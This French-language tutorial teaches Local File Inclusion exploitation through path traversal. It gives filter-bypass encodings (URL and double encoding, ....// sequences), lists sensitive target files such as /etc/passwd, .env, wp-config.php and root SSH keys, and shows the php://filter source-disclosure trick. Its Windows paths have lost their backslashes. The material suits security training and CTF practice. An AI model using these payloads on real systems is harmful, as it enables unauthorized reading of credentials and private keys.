La traversée de répertoires (path traversal) est la technique de base pour exploiter une LFI. Nous allons approfondir les méthodes de traversée, les encodages pour bypasser les filtres simples, et identifier les fichiers les plus sensibles.
Principe de la traversée de répertoires
La séquence ../ remonte d’un niveau dans l’arborescence. En chaînant plusieurs ../, on peut remonter jusqu’à la racine du système.
# Pour atteindre /etc/passwd depuis /var/www/html/pages/
../../../../etc/passwd
# Soit : /var/www/html/pages/ + ../../../../ + etc/passwd = /etc/passwd
Nombre de ../ nécessaires
En PHP, ../ en excès depuis la racine reste à la racine. On peut donc utiliser un grand nombre de ../ sans risque d’erreur :
../../../../../../../../../../etc/passwd # Fonctionne toujours
Encodages pour bypasser les filtres
Encodage URL
../ -> %2e%2e%2f (encodage standard)
../ -> ..%2f (slash encodé seulement)
../ -> %2e%2e/ (points encodés seulement)
Double encodage
%2e -> %252e (le % est lui-même encodé en %25)
../ -> %252e%252e%252f
Séquences alternatives
....// # après suppression de ../ on obtient ../
..././ # équivalent à ../
Fichiers cibles sous Linux
# Informations système
/etc/passwd /etc/group /etc/hostname
/proc/version /proc/self/environ /proc/self/status
# Config web
/etc/apache2/apache2.conf
/etc/nginx/nginx.conf
/var/www/html/wp-config.php
/var/www/html/.env
# Clés SSH
/home/user/.ssh/id_rsa
/root/.ssh/id_rsa
Fichiers cibles sous Windows
C:Windowswin.ini
C:WindowsSystem32driversetchosts
C:xamppphpphp.ini
C:UsersAdministratorDesktopflag.txt # Présent en CTF
Lecture encodée avec php://filter
Pour lire le code source PHP sans l’exécuter, utilisez le wrapper php://filter :
?page=php://filter/convert.base64-encode/resource=config
# Retourne config.php encodé en base64
# Décoder : echo "base64string" | base64 -d
- Utiliser de nombreux
../est sûr — on reste à la racine si on dépasse - Encodage URL et double encodage bypassent les filtres naïfs
php://filter/convert.base64-encode/resource=lit le code source PHP sans l’exécuter

-
Add a note